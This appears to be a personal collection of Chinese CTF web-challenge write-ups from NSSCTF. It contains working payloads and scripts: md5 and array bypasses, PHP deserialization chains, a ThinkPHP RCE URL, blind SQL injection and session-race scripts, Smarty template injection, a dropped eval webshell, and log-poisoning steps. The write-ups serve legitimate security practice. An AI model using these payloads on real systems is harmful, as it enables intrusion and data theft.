NSSCTF刷题

暑假题目

[NSSCTF 2022 Spring Recruit]babyphp

先看题目源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
highlight_file(__FILE__);
include_once('flag.php');
if(isset($_POST['a'])&&!preg_match('/[0-9]/',$_POST['a'])&&intval($_POST['a'])){
if(isset($_POST['b1'])&&$_POST['b2']){
if($_POST['b1']!=$_POST['b2']&&md5($_POST['b1'])===md5($_POST['b2'])){
if($_POST['c1']!=$_POST['c2']&&is_string($_POST['c1'])&&is_string($_POST['c2'])&&md5($_POST['c1'])==md5($_POST['c2'])){
echo $flag;
}else{
echo "yee";
}
}else{
echo "nop";
}
}else{
echo "go on";
}
}else{
echo "let's get some php";
}
?> let's get some php

可以看到是要通过四个if的检测才能成功拿到flag

第一个if检测

1
if(isset($_POST['a'])&&!preg_match('/[0-9]/',$_POST['a'])&&intval($_POST['a']))

会进行取整,直接进行数组绕过

1
a[]=1

可以看到成功绕过

第二个和第三个if

1
2
if(isset($_POST['b1'])&&$_POST['b2'])
if($_POST['b1']!=$_POST['b2']&&md5($_POST['b1'])===md5($_POST['b2']))

要求POST传参b1和b2,并且传上去的参数本身值不同,但md5值要相同

直接用数组进行绕过即可

1
b1[]=2&b2[]=3

成功绕过

最后一个if

1
if($_POST['c1']!=$_POST['c2']&&is_string($_POST['c1'])&&is_string($_POST['c2'])&&md5($_POST['c1'])==md5($_POST['c2']))

要求传上去的值为字符串且值不同但是md5值要相同

直接使用0e开头的科学计数法就可以了

1
c1=s878926199a&c2=s155964671a

直接就拿到了flag

[GXYCTF 2019]BabyUpload

题目就是一个文件上传的界面,nss标签提醒了是MIME验证并且要用到.htaccess文件,当我们尝试上传php文件时发现回显是不能上传后缀名为ph的文件,所以抓包改后缀,同时要改Content-type

先抓包上传.htaccess文件,文件内容为

1
2
3
4
5
<FilesMatch  "wen">

SetHandler application/x-httpd-php

</FilesMatch>

发现上传成功,下一步就是上传后缀名为wen的真正的木马文件,注意也要改content-type

发现又上传成功,接下来将路径复制下来加在题目地址后面就行,用hackbar执行命令即可

1
upload/993203c1a20fe34d2fc406badd31d804/muma2.wen

成功拿到flag。

[GDOUCTF 2023]EZ WEB

题目一进去就只有一个按键,并且点击之后只出来一个弹窗就没反应了,所以按F12看看

发现让我们访问src

发现是一个flask所写的轻量化web程序

如果以get方式访问/路由,就返回index.html的内容

如果以get方式访问/src路由,就返回app.py的内容

如果以PUT方式访问/super-secret-route-nobody-will-guess,就返回flag文件的内容

所以果断选第三个

直接抓包改代理,将传输方式改为PUT方式即可

[HCTF 2018]Warmup

题目一进去是一张很欠的表情包,F12查看源码,访问source.php得到题目源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}

if (in_array($page, $whitelist)) {
return true;
}

$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}

$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}

if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>

发现了hint.php

尝试访问

1
flag not here, and flag in ffffllllaaaagggg

我们知道了flag的位置,再退回上一步审计代码

先说说整体的逻辑:

  1. 首先,使用highlight_file函数将当前文件的源代码输出,即将代码以语法高亮的形式显示出来。
  2. 然后定义了一个名为emmm的类,其中包含了一个名为checkFile的静态方法。这个方法用来检查并允许包含指定文件。
  3. 在checkFile方法中,首先定义了一个白名单数组$whitelist,包含了允许访问的文件名。
  4. 接着,通过检查传入的page参数,判断是否符合条件。如果page为空或不是一个字符串,将输出”you can’t see it”并返回false。
  5. 如果$page在白名单数组中存在,直接返回true。
  6. 否则,首先对page参数进行处理,截取其中的部分字符直到遇到第一个问号(?)为止,并赋值给pag**e进行处理,截取其中的部分字符直到遇到第一个问号(?)为止,并赋值给_page变量。
  7. 然后按照同样的逻辑,对$_page进行处理,再次截取部分字符直到遇到第一个问号(?)为止。
  8. 最后,对$_page进行URL解码,并再次进行截取处理。
  9. 如果最终的$_page在白名单数组中存在,返回true。
  10. 如果以上条件都不满足,将输出”you can’t see it”并返回false。
  11. 在主程序中,首先检查请求中是否存在名为file的参数,并且该参数是一个非空字符串。然后调用emmm类的checkFile方法进行文件检查。
  12. 如果文件检查通过,使用include语句包含请求中指定的文件,并立即退出程序。
  13. 如果文件检查不通过,将输出一段HTML代码,其中包含了一个图片的URL。

接下来再说说其中的一些函数:

mb_substr(str,start,length,encoding):返回从start位置开始的长度为length的字符串。

mb_strpos(str,find_str,offset,encoding):返回str中从offset(默认为0)开始第一次出现find_str的位置。

urlcode():对其传入的str参数进行str解码。

到这里问完了chatgpt之后就麻了,不知道下一步该怎么办

这里看wp,知道了include比较阴间的一个小特性:include函数有这么一个神奇的功能:以字符‘/’分隔(而且不计个数),若是在前面的字符串所代表的文件无法被PHP找到,则PHP会自动包含‘/’后面的文件——注意是最后一个‘/’。

使用../逐级进行跳转,最终得到正确的payload:

1
file=source.php?../../../../../ffffllllaaaagggg

source.php换成hint.php也可,就得到了flag

[GDOUCTF 2023]泄露的伪装

这道题是一个源码泄露,一开始以为是git泄露,还去拿githacker扫描了一下,发现没有反应

有用ddiresearch试了试,发现了返回状态唯一正常的两个文件

1
/www.rar                         /test.txt

尝试进行访问

这是test.txt的内容

他会读取cxk所传入文件的值,如果文件的值为ctrl,就打印出flag

再下载www.rar,查看其中内容

1
2
3
4
恭喜你
turn to

/orzorz.php

尝试访问

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
error_reporting(0);
if(isset($_GET['cxk'])){
$cxk=$_GET['cxk'];
if(file_get_contents($cxk)=="ctrl"){
echo $flag;
}else{
echo "洗洗睡吧";
}
}else{
echo "nononoononoonono";
}
?> nononoononoonono

这个php文件里才是可执行源码

为了达到传入文件参数,且内容为ctrl,就使用data://数据流协议:

1
?cxk=data://text/plain,ctrl

就拿到了flag。

[第五空间 2021]pklovecloud

先看题目源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
<?php  
include 'flag.php';
class pkshow
{
function echo_name()
{
return "Pk very safe^.^";
}
}

class acp
{
protected $cinder;
public $neutron;
public $nova;
function __construct()
{
$this->cinder = new pkshow;
}
function __toString()
{
if (isset($this->cinder))
return $this->cinder->echo_name();
}
}

class ace
{
public $filename;
public $openstack;
public $docker;
function echo_name()
{
$this->openstack = unserialize($this->docker);
$this->openstack->neutron = $heat;
if($this->openstack->neutron === $this->openstack->nova)
{
$file = "./{$this->filename}";
if (file_get_contents($file))
{
return file_get_contents($file);
}
else
{
return "keystone lost~";
}
}
}
}

if (isset($_GET['pks']))
{
$logData = unserialize($_GET['pks']);
echo $logData;
}
else
{
highlight_file(__file__);
}
?>

先来说说链子,敏感函数肯定是怎么触发file_get_content函数

然后要触发echo_name函数,找了找发现acp的to_string里面用到了这个函数,并且使acp的this->cinder=new ace()就可以了

链子构造出来很简单,但是这道题有两个比较难的点:

一个是从未出现过的$heat变量,一个是unserialize($this->docker)。如何满足$this->openstack->neutron === $this->openstack->nova是这道题的关键。

第一种解法:

到这里始终想不到怎么满足这个条件,就去看了wp,官方wp是这样的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<?php
class acp
{
protected $cinder;
public $neutron;
public $nova;
function __construct()
{
$this->cinder = new ace();
}
function __toString()
{
if (isset($this->cinder))
return $this->cinder->echo_name();
}
}
class ace
{
public $filename;
public $openstack;
public $docker;
function __construct()
{
$this->filename = "flag.php";
$this->docker = 'O:8:"stdClass":2:{s:7:"neutron";s:1:"a";s:4:"nova";R:2;}';
}
function echo_name()
{
$this->openstack = unserialize($this->docker);
$this->openstack->neutron = $heat;
if($this->openstack->neutron === $this->openstack->nova) {
$file = "./{$this->filename}";
if (file_get_contents($file))
{
return file_get_contents($file);
}
else
{
return "keystone lost~";
}
}
}
}

$cls = new acp();
echo urlencode(serialize($cls))."\n";
echo $cls;

前面的都不难理解,主要是docker的内容是什么意思呢

1
O:8:"stdClass":2:{s:7:"neutron";s:1:"a";s:4:"nova";R:2;}

根据序列化后的字段进行分析,这个R:2是什么意思?

根据wp的所给验证方法,终于明白了,我们来看看

构造一个类进行验证:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php

class Test{
public $m;
public $n;
public $o;
private $q;
protected $p;
function __construct($n,$o,$p,$q){
$this->m = $m;
$this->n = $n;
$this->o = $o;
$this->p = $p;
$this->q = $q;
}
}

$i0clay = new Test(1,1,'1',true);
$i0clay->m = &$i0clay->n; //声明变量m,引用自变量n
echo (serialize($i0clay));

?>

结果为:

1
O:4:"Test":5:{s:1:"m";i:1;s:1:"n";R:2;s:1:"o";i:1;s:7:"Testq";b:1;s:4:"*p";s:1:"1";}

需要注意的是这里 R 所处的位置是被引用的变量 n 而非 m。那么 2 这个数字又代表什么呢?受 R 所处位置的启发,尝试更换 m 为其他变量:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php

class Test{
public $m;
public $n;
public $o;
private $q;
protected $p;
function __construct($m,$n,$p,$q){
$this->m = $m;
$this->n = $n;
$this->o = $o;
$this->p = $p;
$this->q = $q;
}
}

$i0clay = new Test(1,1,'1',true);
$i0clay->o = &$i0clay->n;
echo (serialize($i0clay));

?>

运行结果为:

1
O:4:"Test":5:{s:1:"m";i:1;s:1:"n";i:1;s:1:"o";R:3;s:7:"Testq";b:1;s:4:"*p";s:1:"1";}

发现R的位置也变了,分析出,R 后的数字代表了要引用其他变量的变量所处的位置。当 m 引用 n 时为 R:2,当 o 引用 n 时 为 R:3。

好的,那么我们就能解释官方wp所给的内容了

为了使两值相等,用R:2指定nova是引用neutron的值,所以在反序列化之后就达到了两值相同的效果

运行exp,跳出空白界面,在F12里得到flag信息:

发现flag在提示文件夹下

所以回到poc链那里修改file读取为../nssctfasdasdflag(因为尝试直接读取/nssctfasdasdflag失败,不在这个目录下,这里就不做演示了)

正式的wp为:

1
O%3A3%3A%22acp%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00cinder%22%3BO%3A3%3A%22ace%22%3A3%3A%7Bs%3A8%3A%22filename%22%3Bs%3A19%3A%22..%2Fnssctfasdasdflag%22%3Bs%3A9%3A%22openstack%22%3BN%3Bs%3A6%3A%22docker%22%3Bs%3A56%3A%22O%3A8%3A%22stdClass%22%3A2%3A%7Bs%3A7%3A%22neutron%22%3Bs%3A1%3A%22a%22%3Bs%3A4%3A%22nova%22%3BR%3A2%3B%7D%22%3B%7Ds%3A7%3A%22neutron%22%3BN%3Bs%3A4%3A%22nova%22%3BN%3B%7D

传入得到flag。

第二种解法:

后来觉得这道题有点过于复杂了,所以就又去想了想,发现设置docker变量的值为空也能符合相同的条件

构造payload为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
class acp
{
protected $cinder;
public $neutron;
public $nova;
function __construct()
{
$this->cinder = new ace;
}
}
class ace
{
public $filename='flag.php';
public $openstack;
public $docker;
}
$a=new acp();
$b=new ace();
$b->docker=null;
echo urlencode(serialize($a));
?>

这样也能达到一样的效果

[SWPUCTF 2022 新生赛]ez_rce

一进去提示不会什么都没有吧,F12也什么都没有,尝试访问常见文件

发现新文件尝试访问

是一个thinkphp的框架题目

直接用工具进行探测:

所测链接直接进行访问

然后挨着挨着查即可

最终payload:

1
http://node3.anna.nssctf.cn:28299//NSS/index.php/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat%20/nss/ctf/flag/flag

[鹤城杯 2021]Middle magic

题目一进去就是源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
<?php
highlight_file(__FILE__);
include "./flag.php";
include "./result.php";
if(isset($_GET['aaa']) && strlen($_GET['aaa']) < 20){

$aaa = preg_replace('/^(.*)level(.*)$/', '${1}<!-- filtered -->${2}', $_GET['aaa']);

if(preg_match('/pass_the_level_1#/', $aaa)){
echo "here is level 2";

if (isset($_POST['admin']) and isset($_POST['root_pwd'])) {
if ($_POST['admin'] == $_POST['root_pwd'])
echo '<p>The level 2 can not pass!</p>';
// START FORM PROCESSING
else if (sha1($_POST['admin']) === sha1($_POST['root_pwd'])){
echo "here is level 3,do you kown how to overcome it?";
if (isset($_POST['level_3'])) {
$level_3 = json_decode($_POST['level_3']);

if ($level_3->result == $result) {

echo "success:".$flag;
}
else {
echo "you never beat me!";
}
}
else{
echo "out";
}
}
else{

die("no");
}
// perform validations on the form data
}
else{
echo '<p>out!</p>';
}

}

else{
echo 'nonono!';
}

echo '<hr>';
}

?>

只有第一个判断条件是第一次见的:

要求内容符合:pass_the_level_1# 但是又不能有^(.)level(.)$,但这种正则匹配规定只在一行,所以用%0a换行,这里后面直接放#始终行不通,上网搜搜才知道在url里的#是位置标识符,所以用%23

下面的就很熟悉了,使用数组绕过sha1

后面的level_3变量用json格式就行啦

payload为:

1
2
3
4
GET
aaa=%0apass_the_level_1%23
POST
admin[]=1&root_pwd[]=2&level_3={"result":0}

[第五空间 2021]yet_another_mysql_injection

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<?php
include_once("lib.php");
function alertMes($mes,$url){
die("<script>alert('{$mes}');location.href='{$url}';</script>");
}

function checkSql($s) {
if(preg_match("/regexp|between|in|flag|=|>|<|and|\||right|left|reverse|update|extractvalue|floor|substr|&|;|\\\$|0x|sleep|\ /i",$s)){
alertMes('hacker', 'index.php');
}
}

if (isset($_POST['username']) && $_POST['username'] != '' && isset($_POST['password']) && $_POST['password'] != '') {
$username=$_POST['username'];
$password=$_POST['password'];
if ($username !== 'admin') {
alertMes('only admin can login', 'index.php');
}
checkSql($password);
$sql="SELECT password FROM users WHERE username='admin' and password='$password';";
$user_result=mysqli_query($con,$sql);
$row = mysqli_fetch_array($user_result);
if (!$row) {
alertMes("something wrong",'index.php');
}
if ($row['password'] === $password) {
die($FLAG);
} else {
alertMes("wrong password",'index.php');
}
}

if(isset($_GET['source'])){
show_source(__FILE__);
die;
}
?>
<!-- /?source -->
<html>
<body>
<form action="/index.php" method="post">
<input type="text" name="username" placeholder="账号"><br/>
<input type="password" name="password" placeholder="密码"><br/>
<input type="submit" / value="登录">
</form>
</body>
</html>

好了,那么对于代码进行一个审计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php
include_once("lib.php");
function alertMes($mes,$url){
die("<script>alert('{$mes}');location.href='{$url}';</script>");
}

function checkSql($s) {
if(preg_match("/regexp|between|in|flag|=|>|<|and|\||right|left|reverse|update|extractvalue|floor|substr|&|;|\\\$|0x|sleep|\ /i",$s)){
alertMes('hacker', 'index.php');
}
}

if (isset($_POST['username']) && $_POST['username'] != '' && isset($_POST['password']) && $_POST['password'] != '') {
$username=$_POST['username'];
$password=$_POST['password'];
#首先username必须是admin
if ($username !== 'admin') {
alertMes('only admin can login', 'index.php');
}
checkSql($password); #配合上面的checkSql对传入的password进行一个检测,不能符合正则的检测
#一个sql查询语句,带入数据库进行查询
$sql="SELECT password FROM users WHERE username='admin' and password='$password';";
$user_result=mysqli_query($con,$sql);
$row = mysqli_fetch_array($user_result);
if (!$row) {
alertMes("something wrong",'index.php');
}
# 最后当我们输入的 password 等于 $password 输出flag
if ($row['password'] === $password) {
die($FLAG);
} else {
alertMes("wrong password",'index.php');
}
}

if(isset($_GET['source'])){
show_source(__FILE__);
die;
}
?>

直接嗦一个脚本用:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import requests,time
alp = "1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ~"
def get_pass():
url = "http://1.14.71.254:28610/index.php"
flag = ""
while True:
for i in alp:
data={"username":"admin","password":f"1'or/**/password/**/like/**/'{flag+i}%'#"}
resp = requests.post(url=url,data=data)
time.sleep(0.1)
if "something wrong" not in resp.text:
flag+=i
print(flag)
break
elif "~" in i:
return
get_pass()

密码已经跑出来了,直接进行上传拿到flag

[HNCTF 2022 Week1]easy_html

这道题算是个签到题吧,但是有对于我修改其母代码固性思维的挑战,所以就写一下

题目一进去就这么一句话,而且F12或访问常见文件什么都没有,所以看看请求头

发现在cookie里有奇怪的文件,注意解析,解析之后是/f14g.php,尝试访问

尝试输入电话号码,发现输入到第10位的时候就无法再输入了,修改对此进行限制的前端代码

只要大于电话号码的位数即可,输入并登录就拿到flag

[HDCTF 2023]SearchMaster

题目有进去就是一个很普通的界面,点进去是一个人的博客,找了找还以为有flag,但是没有,用diresearch扫了一下,发现了这个

尝试访问

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
{
"name": "smarty/smarty",
"type": "library",
"description": "Smarty - the compiling PHP template engine",
"keywords": [
"templating"
],
"homepage": "https://smarty-php.github.io/smarty/",
"license": "LGPL-3.0",
"authors": [
{
"name": "Monte Ohrt",
"email": "monte@ohrt.com"
},
{
"name": "Uwe Tews",
"email": "uwe.tews@googlemail.com"
},
{
"name": "Rodney Rehm",
"email": "rodney.rehm@medialize.de"
},
{
"name": "Simon Wisselink",
"homepage": "https://www.iwink.nl/"
}
],
"support": {
"issues": "https://github.com/smarty-php/smarty/issues",
"forum": "https://github.com/smarty-php/smarty/discussions"
},
"require": {
"php": "^7.1 || ^8.0"
},
"autoload": {
"classmap": [
"libs/"
]
},
"extra": {
"branch-alias": {
"dev-master": "4.0.x-dev"
}
},
"require-dev": {
"phpunit/phpunit": "^8.5 || ^7.5",
"smarty/smarty-lexer": "^3.1"
}
}

可以看出来是samrty模板

1
data=a{*comment*}b

当我们使用post在第一个界面发送时,界面上出现了ab,这也验证了确实是smarty模板

这里我们就尝试使用各种标签来进行命令执行,最后发现if标签可以成功:

1
{if system('ls /f*')}{/if}

推测这是flag所在的文件名字,进行查询:

1
{if system('cat /flag_13_searchmaster')}{/if}

成功拿到flag

[羊城杯 2020]easycon

使用diresearch扫描题目网址,发现Index.html,index.php,index.php/login,挨着访问,发现inde.php下面出现了弹窗

这不是一句话木马的内容嘛,尝试用蚁剑连接

蚁剑连接后在html文件夹下发现好几个文件,依次点开在txt文件里发现了许多很像base64的码,但是解码失败,会不会是base64转其他格式的文件?推荐一个网站

https://onlinetools.com/image/

得到flag,改一下前缀就行

[第五空间 2021]EasyCleanup

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php 
if(!isset($_GET['mode'])){
highlight_file(__file__);
}else if($_GET['mode'] == "eval"){
$shell = isset($_GET['shell']) ? $_GET['shell'] : 'phpinfo();';
if(strlen($shell) > 15 | filter($shell) | checkNums($shell)) exit("hacker");
eval($shell);
}


if(isset($_GET['file'])){
if(strlen($_GET['file']) > 15 | filter($_GET['file'])) exit("hacker");
include $_GET['file'];
}


function filter($var){
$banned = ["while", "for", "\$_", "include", "env", "require", "?", ":", "^", "+", "-", "%", "*", "`"];

foreach($banned as $ban){
if(strstr($var, $ban)) return True;
}

return False;
}

function checkNums($var){
$alphanum = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ';
$cnt = 0;
for($i = 0; $i < strlen($alphanum); $i++){
for($j = 0; $j < strlen($var); $j++){
if($var[$j] == $alphanum[$i]){
$cnt += 1;
if($cnt > 8) return True;
}
}
}
return False;
}
?>

如果有设置?shell,则?shell的值为其设置的值;若没有设置,则?shell=phpinfo();

审计源码,很明显这里直接命令执行应该是无法执行的:

总长度不能大于等于15
数字和字母的字符次数不能大于等于8次
加上一些filter()的过滤,这里基本无法实现?shell的命令执行

关键在include $_GET[‘file’];,有文件包含,虽然有filter()和长度的限制,但是没有最恶心的CheckNums();加上给了我们一个phpinfo。查看一下session.upload_progress,默认都是开启的。并且这里记录上传进度的session文件都没有开启自动清除(session.upload_progress.cleanup==Off),条件竞争都不用做了。

没有给出session.save_path,那sesion应该就是默认保存位置:/tmp/sess_xxx,但是没有脚本,所以就去网上剽窃了一个

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
# -*- coding: utf-8 -*-
import io
import requests
import threading

myurl = 'http://114.115.134.72:32770/index.php'
sessid = '7'
myfile = io.BytesIO(b'mochu7' * 1024)
writedata = {"PHP_SESSION_UPLOAD_PROGRESS": "<?php system('ls -lha /');?>"}
mycookie = {'PHPSESSID': sessid}

def writeshell(session):
while True:
resp = requests.post(url=myurl, data=writedata, files={'file': ('mochu7.txt', myfile)}, cookies=mycookie)

def getshell(session):
while True:
payload_url = myurl + '?file=' + '/tmp/sess_' +sessid
resp = requests.get(url=payload_url)
if 'upload_progress' in resp.text:
print(resp.text)
break
else:
pass


if __name__ == '__main__':
session = requests.session()
writeshell = threading.Thread(target=writeshell, args=(session,))
writeshell.daemon = True
writeshell.start()
getshell(session)

直接跑脚本

得到flag。

[SWPUCTF 2022 新生赛]奇妙的MD5

这道题其实很简单,但是设计到一个之前不知道的知识点:

进入页面,发现没什么有用的,拉进火狐看看请求包

发现了hint:

1
select * from 'admin' where password=md5($pass,true)

这个东西可以用万能绕过字符:ffifdyop绕过,在跳转后的页面里按f12,查看得到源代码

直接数组绕过:

1
?x[]=1&y[]=2

得到下一步源码:

1
2
3
4
5
6
7
8
9
<?php
error_reporting(0);
include "flag.php";

highlight_file(__FILE__);

if($_POST['wqh']!==$_POST['dsy']&&md5($_POST['wqh'])===md5($_POST['dsy'])){
echo $FLAG;
}

还是数组绕过,直接就得到了flag。

[NISACTF 2022]middlerce

先看源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
include "check.php";
if (isset($_REQUEST['letter'])){
$txw4ever = $_REQUEST['letter'];
if (preg_match('/^.*([\w]|\^|\*|\(|\~|\`|\?|\/| |\||\&|!|\<|\>|\{|\x09|\x0a|\[).*$/m',$txw4ever)){
die("再加把油喔");
}
else{
$command = json_decode($txw4ever,true)['cmd'];
checkdata($command);
@eval($command);
}
}
else{
highlight_file(__FILE__);
}
?>

json_encode:接受一个 JSON 格式的字符串并且把它转换为 PHP 变量,如果是true则返回array并非object,checkdata检测绕过,手段

/^.([\w]|^|*|(|~|`|?|/| |||&|!|<|>|{|\x09|\x0a|[).$/m .*有好几个,这里采用回溯绕过

关于回溯绕过,这里参考下面这篇文章:

PHP利用PCRE回溯次数限制绕过某些安全限制 - FreeBuf网络安全行业门户

主要就是回溯次数大于1000000会返回false进行绕过

  • 系统命令执行用反引号 `,因为别的过滤掉了

  • eval里面用短标签 ?> 来绕过过滤echo,无法输出的情况

    使用脚本:

    1
    2
    3
    4
    5
    import requests
    url = 'http://1.14.71.254:28288/'
    payload = '{"cmd":"?><?=`sort /f*`?>","+":"' + "-" * 1000000 + '"}'
    res = requests.post(url=url, data={"letter": payload})
    print(res.text)

[WUSTCTF 2020]朴实无华

界面什么都没有,f12也没什么有用的,尝试访问robots.txt

发现可以文件,尝试访问

得到假的flag,拉进火狐看看请求头里有没有什么东西

在响应头里看见了一个自定义的头,里面还有一个可疑文件,尝试访问

拿到源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);


//level 1
if (isset($_GET['num'])){
$num = $_GET['num'];
if(intval($num) < 2020 && intval($num + 1) > 2021){
echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
}else{
die("金钱解决不了穷人的本质问题");
}
}else{
die("去非洲吧");
}
//level 2
if (isset($_GET['md5'])){
$md5=$_GET['md5'];
if ($md5==md5($md5))
echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
else
die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
die("去非洲吧");
}

//get flag
if (isset($_GET['get_flag'])){
$get_flag = $_GET['get_flag'];
if(!strstr($get_flag," ")){
$get_flag = str_ireplace("cat", "wctf2020", $get_flag);
echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
system($get_flag);
}else{
die("快到非洲了");
}
}else{
die("去非洲吧");
}
?>

可以看到有三层过滤:

第一层:

传入一个参数num,经过intval函数既要小于2020并且加一要大于2021,看一下这个函数
intval() 函数用于获取变量的整数值。
intval() 函数通过使用指定的进制 base 转换(默认是十进制),返回变量 var 的 integer 数值。 intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1。
我们尝试传入:num=2e4

发现成功绕过,现在开始第二层:

就是传进去的值要与他md5加密之后的值一样

直接传值:md5=0e215962017

成功绕过,现在看最后一层:

传入的get_flag不能有空格
传入的cat会被替换为wctf2020
传入的get_flag会当作系统命令被执行
我们直接ls看一看有什么

怀疑flag就在最长的那玩意儿里面,既然不准用cat ,那就用有相同功能的tac ,空格就用$IFS$9绕过就行

拿到flag

[LitCTF 2023]Flag点击就送!

这道题一进去让我们随便输来验证身份,我们随便输入一个数字,他告诉我们只有管理员才能拿到flag,所以我们尝试回到输入身份的地方并输入admin,但是告诉我们你怎么可能是管理员,并且标签提示我们是cookie伪造,尝试进行查看

发现cookie,使用flask_session进行cookie伪造:

1
python3 flask_session_cookie_manager3.py decode -s "secret_key" -c "需要解密的session值"

但是我们并不知道secret_key是啥,只能猜测是比赛名称LitCTF

解得cookie值,现在我们使用命令在flask_session里对其进行修改并加密

得到对于管理员来讲的加密之后的cookie值

成功拿到flag

[NISACTF 2022]join-us

页面一进去发现有很多可点击的地方,先点击登录

感觉这个登录框很有注入点的感觉,手测加fuzz一下,这里发现,fuzz测出来or是可以用的,但是手测却又不可以,上网查一下才发现是后端进行了过滤,但是有点不知道该怎么办了,看了一下wp,才想起来可以用||管道符(太久没做,生疏了)

剩下的也没什么过滤了的,就是比较基础的报错注入语句进行查询了

1
tt=1' ||extractvalue(1,concat(0x7e,(select group_concat(table_name) from mysql.innodb_table_stats),0x7e)) #

返回里面得到了表名,FLAG_TABLE肯定最可疑,但是我们查询之后里面并没有,并且这里表名并没有显示完全,使用mid函数截断拼接,发现剩下的表名,这里就不写其中的步骤了,直接查询output

1
tt=1' ||extractvalue(1,concat(0x7e, (select * from (select * from output a join output )b),0x7e)) #

得到字段名data,直接查询flag

1
tt=1' ||extractvalue(1,concat(0x7e,(select data from output),0x7e)) #

这里flag并没有显示完全,和刚刚查表名一样使用mid函数截断看看

1
tt=1' ||extractvalue(1,concat(0x7e,mid((select data from output),20),0x7e)) #

得到后半段flag,拼接即可

[SWPUCTF 2022 新生赛]numgame

页面一进去是一个怎么都回答不了的10+10,尝试F12获取更多信息,发现没有反应,使用开发者工具打开看看

发现有一个js文件,尝试访问

以为直接拿到了flag,高兴坏了,提交显示错误,解码一下flag其中的内容,发现是一个文件名:NsScTf.php,尝试访问

这里就涉及到一个小知识点:

使用类名::方法名,来访问其中方法,并且我们发现没有过滤大写,所以进行读取:

1
p=Nss2::Ctf

F12得到flag。

[SWPUCTF 2021 新生赛]hardrce_3

这道无字母RCE看样子只能使用自增了,异或和取反都被禁用

(6条消息) 无字母数字绕过正则表达式总结(含上传临时文件、异或、或、取反、自增脚本)_无数字正则匹配绕过取反脚本_yu22x的博客-CSDN博客

使用yu神的自增脚本,使用之前记得url编码一下

ctrl+f查找一下,发现flag那一栏没有值,再查一下disable_function,发现很多常用的函数都被禁用了

但是我们发现file_put_contents函数并没有被禁,所以使用这个函数进行木马文件的写入(注意由于空格被禁了,所以使用%20进行代替)$前面加上了\是防止其被字符串包裹无法发挥作用。

1
_=file_put_contents("1.php","<?php%20eval(\$_POST['1']);%20?>");

然后蚁剑连接并访问,在网站根目录下找到flag。

[HNCTF 2022 WEEK2]easy_include

可以看到题目作为一个文件包含过滤了很多字符,并且标签提醒是一个Nginx,我们尝试一下请求包里UA上传一句话木马,并在日志文件访问,上网搜到Nginx的日志文件路径是/var/log/nginx/access.log和/var/log/nginx/error.log

我们抓包进行尝试

可以看到这样做成功得到了回显,那么尝试cat /ffflllaaaggg

可以看到就成功拿到flag,这道题操作很简单,但是我之前一直听他们说日志文件包含但没做过类似题目,这次遇到就写上去了

